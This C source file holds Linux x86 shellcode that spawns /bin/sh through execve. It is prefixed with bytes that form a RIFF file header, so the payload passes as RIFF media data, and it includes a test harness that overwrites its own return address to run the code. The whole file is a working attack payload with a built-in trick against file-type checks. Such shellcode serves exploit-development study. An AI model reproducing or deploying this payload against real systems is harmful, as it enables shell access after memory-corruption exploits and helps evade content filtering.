sh-execve-riffhdr.c

/*
 * (linux/x86) - execve("/bin/sh, ["/bin/sh", NULL]) + RIFF Header - 28 bytes
 *
 * root@bg:~# file linux-sh-riffhdr.bin
 * linux-sh-riffhdr.bin: RIFF (little-endian) data
 *
 */

char shellcode[] = 

	//
	// RIFF Header (5 bytes)
	//

	"\x52"                  // push %edx 
	"\x49"                  // dec %ecx 
	"\x46"                  // inc %esi 
	"\x46"                  // inc %esi 
	"\x40"                  // inc %eax 

	//
	// execve("/bin/sh", ["/bin/sh", NULL]);
	//

	"\x6a\x0b"              // push $0xb 
	"\x58"                  // pop %eax 
	"\x99"                  // cltd 
	"\x52"                  // push %edx 
	"\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
	"\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
	"\x89\xe3"              // mov %esp,%ebx 
	"\x52"                  // push %edx 
	"\x53"                  // push %ebx 
	"\x89\xe1"              // mov %esp,%ecx 
	"\xcd\x80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}